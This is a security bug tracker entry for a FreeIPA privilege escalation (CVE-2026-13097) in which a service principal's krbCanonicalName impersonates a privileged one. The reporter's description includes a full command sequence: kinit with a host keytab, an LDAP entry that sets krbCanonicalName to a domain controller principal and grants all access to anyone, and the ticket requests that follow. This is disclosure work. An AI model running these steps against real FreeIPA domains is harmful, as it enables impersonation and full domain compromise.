Bug 2515974 (CVE-2026-13097)

Summary:	CVE-2026-13097 ipa: Privilege escalation via krbCanonicalName manipulation due to realm-unaware uniqueness enforcement in FreeIPA LDAP datastore
Product:	[Other] Security Response	Reporter:	OSIDB Bzimport <bzimport>
Component:	vulnerability	Assignee:	Product Security <prodsec-ir-bot>
Status:	NEW ---	QA Contact:
Severity:	high	Docs Contact:
Priority:	high
Version:	unspecified	CC:	abokovoy, frenaud, ftrivino, rhel-process-autobot, security-response-team, watson-tool-maintainers
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	---
Doc Text:	A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.	Story Points:	---
Clone Of:		Environment:
Last Closed:		Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:
Bug Depends On:	2520175
Bug Blocks:

Description OSIDB Bzimport 2026-08-14 11:28:25 UTC

I'd like to report a privilege escalation method based on manipulation of the krbCanonicalName attribute. Despite changes made by FreeIPA and PAC certificate validation, it can still be abused.

Requirements to exploit: The attacker must have the rights of the computer account or an account with the right to add to almost any branch of the LDAP directory.

Version affected: FreeIPA VERSION: 4.12.2, API_VERSION: 2.254
Patch available: no
CVSS 3.1 Vector
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

You're familiar with the general information on vulnerabilities CVE-2025-4404 and CVE-2025-7493.
But there's a method that can currently be exploited, and it's much more dangerous than the CVEs listed.
The problem is that a user who controls krbCanonicalName can specify the value of any account by simply specifying krbCanonicalName without specifying REALM and then request the tickets they need.
On earlier versions of FreeIPA where PAC certificate validation isn't enabled, we can already fully exploit the domain. But even with PAC validation enabled, we can specify values with the service prefix.
For example, krbtgt/ or ldap/ or host/ and request a ticket with a PAC, and KDC will return a perfectly valid ticket.
It's worth noting that if you simply specify "admin," the issuance of such tickets will be rejected due to PAC certificate validation.
One of the easiest ways I see is to get a domain controller account, for example host/ipa.red.corp.


kdestroy -A


kinit -k -t /etc/krb5.keytab host/debi.red.corp


ldapadd -H ldap://ipa.red.corp


dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp
ipaKrbPrincipalAlias: pwn/debi.red.corp
krbPrincipalName: pwn/debi.red.corp
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: host/ipa.red.corp
managedBy: fqdn=debi.red.corp,cn=computers,cn=accounts,dc=red,dc=corp
aci: (targetattr = "*")(version 3.0;acl "pwn";allow (all) userdn = "ldap:///anyone"winking face


ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI


kdestroy -A


kinit -k -t pwn.keytab pwn/debi.red.corp


kvno HTTP/ipa.red.corp


kvno ldap/ipa.red.corp


klist -A